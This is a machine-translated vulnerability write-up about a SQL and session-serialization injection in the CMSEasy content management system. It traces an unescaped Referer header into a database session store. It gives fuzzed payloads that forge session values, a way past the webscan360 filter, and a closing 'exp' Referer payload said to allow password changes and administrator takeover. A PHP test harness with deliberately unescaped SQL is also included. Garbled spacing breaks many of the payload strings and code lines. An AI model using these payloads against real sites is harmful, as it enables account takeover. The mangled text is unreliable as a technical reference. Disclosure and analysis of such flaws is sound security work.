Cmseasy SQL Injection Vulnerability (with analysis and exp)

Source: Internet
Author: User
Tags openid

Cmseasy SQL Injection Vulnerability (with analysis and exp)

Cmseasy SQL Injection Vulnerability

First look at manage_act.php line 174
 

if(!session::get('from')) session::set('from',front::$from);
If there is no from in the session, set $ from in the front class as the value. How do we get the $ from. In front_class.php 312-313
if (isset($_SERVER['HTTP_REFERER']))    self::$from=$_SERVER['HTTP_REFERER'];
After reading this, it seems that no escape processing is performed on $ _ SERVER ['HTTP _ referer']. By default, the system does not process GPC on _ SERVER, so I can inject it again. Previously, I sent a message saying that his session is saved in the database. With the injection, the entire system can be controlled .. (WooYun: a high-risk vulnerability (design defect) of cmseasy) ---------- not much to mention. first register a number and then/cmseasy/index. php? Case = manage & act = edit & manage = archive & id = 1 source http: // 127.0.0.1/', DATA = 0x6F70656E69647C733A313A2232223B, the client_ip = 'is changed to this. When I think it is very smooth, I find that webscan360 has intercepted me and the whitelist in the new version has expired .. the whitelist is a two-dimensional array. It was originally traversed twice using foreach, but only once in the new version. Therefore, the corresponding whitelist can never be found. Another problem is that the post interception rule is added. | 'when a single quotation mark is displayed, the webscan360 uses the post interception rule for the referre. (In this way, the single quotation mark is directly intercepted, the user experience is not good enough, for example, the single quotation mark is intercepted when searching.) The single quotation mark cannot be used. If you want to think about the from | s: 4: "2222", the structure is like this, which one can I change 2222 to "; openid | s: 1:" 2. the result is processed as follows (I don't know how to convert the session code, so I can only test fuzz) and submit "; openid | s: 1:" 2from | s: 15: ""; openid | s: 1: "2"; print the SESSION and find that it failed to close. 15 characters are included. Then I use the Escape Character "\" to escape double quotation marks, this character will contain one less commit: \ "; openid | s: 1:" 2from | s: 16: ""; openid | s: 1: "2 "; s 16, but he only converted it to from | N after 15, and an error occurred. Continue the test.
Submit: \ "; \ openid | s: 1: \" 2 database: from | s: 18: ""; openid | s: 1: "2 "; in the converted database: from | N; 18: ""; openid | s: 1: "2"; printed code, it seems that there is a play ["18 :""; openid "] => string (1)" 2"
We continue to close, we need to make 18: "; this part is just a piece of data. After some tests, I finally asked him to resolve the problem successfully.
Submit: | N; \ openid | s: 1: \ "2 \" Database: from | s: 20: "| N; openid | s: 1:" 2 ""; in the converted database: from | N; 20: "| N; openid | s: 1:" 2 "; the printed code is successfully parsed. ["20:" "] => NULL [" openid "] => string (1)" 2"
Analysis supplement: Title: Cmseasy, a vulnerability caused by improper use of a function in php, uses session_set_save_handler. Its role is to store sessions in the database, instead of files, which I found in my research, improper use of session_set_save_handler will cause problems, and arbitrary session manipulation is terrible! Session_set_save_handler: The write (string $ sessionId, string $ data) function is called to save data in a session. This callback function receives the current session id and the serialized string in $ _ SESSION as the parameter. The process of serializing session data is completed by PHP according to the value set by session. serialize_handler. The serialized data will be associated with the session ID for storage. When the read callback function is called to obtain data, the returned data must be exactly the same as the data passed into the write callback function. PHP calls this callback function after the script is executed or the session_write_close () function is called. Note: after calling this callback function, PHP calls the close callback function internally. // Write and serialize the data in $ _ SESSION into the database. read (string $ sessionId) if the session contains data, the read callback function must return the string after the session data encoding (serialization. If there is no data in the session, the read callback function returns an empty string. After the session starts automatically or the session starts manually by calling the session_start () function, PHP calls the read callback function internally to obtain the session data. Before calling read, PHP calls the open callback function. The serialized string format returned by the read callback must be exactly the same as that when the write callback function saves data. PHP will automatically deserialize the returned string and fill in the $ _ SESSION super global variable. Although the data looks very similar to the serialize () function, it should be noted that they are different. See session. serialize_handler. // Deserialize the session in the database and then return it. In Cmseasy, the construct constructor is like this: _ construct.
session_start();$this->refresh(session_id());
Refresh-> gc // check the time difference to determine whether the session has expired, if it expires, the session data will be deleted and read from the database before return $ result ['data']; then deserialization (session_decode ()) $ result ['data']; data is filled with the $ _ SESSION super global variable, and then the $ _ SESSION data serialization (SESSION_ENCODE () data is written to the database by calling write, and the update time is "update_time" (indicating that you are still in the activity ). An error occurs when an error occurs. write does not escape the data, resulting in a parsing error. Let's take a look (I did my own TEST in his framework first $ _ SESSION ['test'] = $ _ POST ['a'] // I did my own TEST to remove the entity.. ) We submit a SQL statement "\", which corresponds to TEST | s: 2: "\". After being inserted into the database, the SQL statement becomes TEST | s: 2: "\"; because \ is an escape character. However, php does not recognize the session serialization value as a normal string. Obviously, the deserialization will fail if the value is read according to the process. The data changes to TEST | N; null. This bug causes problems. Now let's try to close it to create other values. Submit | N; \ Why do I submit this? Because | N; is used to meet the closure following him and use escape characters to make his structure wrong. TEST | s: 5: "| N; \";-> null. Do we add a value? Add an ooo value.
Submitted: | N; ooo | s: 2: "aa" \ Database: TEST | s: 20: "| N; ooo | s: 2:" aa "; \ "; it has been parsed and written to the database: TEST | s: 20:" | N; ooo | s: 2: "aa ";\"; ["TEST"] => NULL ["20:" "] => NULL [" ooo "] => string (2)" aa"
It was resolved successfully, in archive_act.php. There is a piece of code about saving search records to sessions. 256-258
If (front: post ('keyword') {$ this-> view-> keyword = trim (front: post ('keyword'); session :: set ('keyword', trim (front: post ('keyword'); // save.

 

I know that cmseasy is global. The fuzz test in the middle is very difficult, and finally succeeded, but only int type can be used. Submitted: N | openid | I: 1; "1" \, database: keyword | s: 40: "N | openid | I: 1; | xx | s: 1 :\\\ & quot; 1 \\\ & quot;"; resolved to the database: keyword | N; 30: "N | N; openid | I: 1; [" keyword "] => NULL [" 30: "N"] => NULL ["openid"] => int (1) ["username"] => string (10) "test_Noxxx" there is another place to mention, manage_act.php row 174
if(!session::get('from')) session::set('from',front::$from);

 

If there is no from in the session, set $ from in the front class as the value. How do we get the $ from. In front_class.php 312-313
if (isset($_SERVER['HTTP_REFERER']))    self::$from=$_SERVER['HTTP_REFERER'];

 

After reading this, it seems that the $ _ SERVER ['HTTP _ referer'] is not escaped. By default, GPC does not process _ SERVER. (In the new version, the whitelist has expired. The whitelist is a two-dimensional array. It was originally traversed twice using foreach, but only once in the new version, so the corresponding whitelist cannot be found. Another problem is that the post interception rule is added. | 'when a single quotation mark is displayed, the webscan360 uses the post interception rule for the referre. (In this way, the single quotation mark is directly intercepted, the user experience is not good enough, for example, the single quotation mark is intercepted,) the Referer: | N; openid | s: 1 is the same as the above one which does not perform entity processing: \ "2 \" \ in this way, several userids in the edit_action function in user_act.php can be used to modify the password arbitrarily, and then the openid registration administrator in the respond_action function can be used. The code for testing is attached.
<?php /*CREATE TABLE `ws_sessions` (  `session_id` varchar(255) binary NOT NULL default '',  `session_expires` int(10) unsigned NOT NULL default '0',  `session_data` text,  PRIMARY KEY  (`session_id`)) TYPE=MyISAM;*/class session {     // session-lifetime     var $lifeTime;     // mysql-handle     var $dbHandle;     function open($savePath, $sessName) {        // get session-lifetime        $this->lifeTime = get_cfg_var("session.gc_maxlifetime");        // open database-connection        $dbHandle = @mysql_connect("localhost","name","pwd");        $dbSel = @mysql_select_db("db",$dbHandle);        // return success        if(!$dbHandle || !$dbSel)            return false;        $this->dbHandle = $dbHandle;        return true;     }     function close() {         $this->gc(ini_get('session.gc_maxlifetime'));         // close database-connection         return @mysql_close($this->dbHandle);     }     function read($sessID) {         // fetch session-data         $res = mysql_query("SELECT session_data AS d FROM ws_sessions                             WHERE session_id = '$sessID'                             AND session_expires > ".time(),$this->dbHandle);         // return data or an empty string at failure         if($row = mysql_fetch_assoc($res))             return $row['d'];         return "";     }     function write($sessID,$sessData) {         // new session-expire-time         $newExp = time() + $this->lifeTime;         // is a session with this id in the database?         $res = mysql_query("SELECT * FROM ws_sessions                             WHERE session_id = '$sessID'",$this->dbHandle); ////$sessData = addslashes($sessData);        if(mysql_num_rows($res)) {             // ...update session-data             mysql_query("UPDATE ws_sessions                          SET session_expires = '$newExp',                          session_data = '$sessData'                          WHERE session_id = '$sessID'",$this->dbHandle);             // if something happened, return true             if(mysql_affected_rows($this->dbHandle))                 return true;         }         // if no session-data was found,         else {             // create a new row             mysql_query("INSERT INTO ws_sessions (                          session_id,                          session_expires,                          session_data)                          VALUES(                          '$sessID',                          '$newExp',                          '$sessData')",$this->dbHandle);             // if row was created, return true             if(mysql_affected_rows($this->dbHandle))                 return true;         }         // an unknown error occured         return false;     }     function destroy($sessID) {         // delete session-data         mysql_query("DELETE FROM ws_sessions WHERE session_id = '$sessID'",$this->dbHandle);         // if session was deleted, return true,         if(mysql_affected_rows($this->dbHandle))             return true;         // ...else return false         return false;     }     function gc($sessMaxLifeTime) {         // delete old sessions         mysql_query("DELETE FROM ws_sessions WHERE session_expires < ".time(),$this->dbHandle);        // return affected rows         return mysql_affected_rows($this->dbHandle);     } } $session = new session(); session_set_save_handler(array(&$session,"open"),                          array(&$session,"close"),                          array(&$session,"read"),                          array(&$session,"write"),                          array(&$session,"destroy"),                          array(&$session,"gc")); session_start(); if (!empty($_GET['v'])){var_dump($_SESSION);exit;}$_POST = daddslashes($_POST);$_SESSION['test']=$_POST['s'];function daddslashes($string, $force = 1) {if (is_array($string)) {$keys = array_keys($string);foreach ($keys as $key) {$val = $string[$key];unset($string[$key]);$string[addslashes($key)] = daddslashes($val, $force);}} else {$string = (addslashes(trim($string)));}return $string;}?>session_start();var_dump(session_decode('test|s:20:"|N;ooo|s:2:"aa";\";'));

 

Php source code, but I don't know how to execute it. Php_var_unserialize ,.. Finally, this is a small bug in php. I checked the session_set_save_handler function on the php official website, but it seems that I have not seen any security issues .. Give an exp: logon status/cmseasy/index. php? Case = manage & act = edit & manage = archive & id = 1 Referer: | N; \ openid | s: 1: \ "2 \" Many exploitation methods, sessions can be forged. For details, refer to WooYun: cmseasy's high-risk vulnerability (design defect). Solution: write intermediate data

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.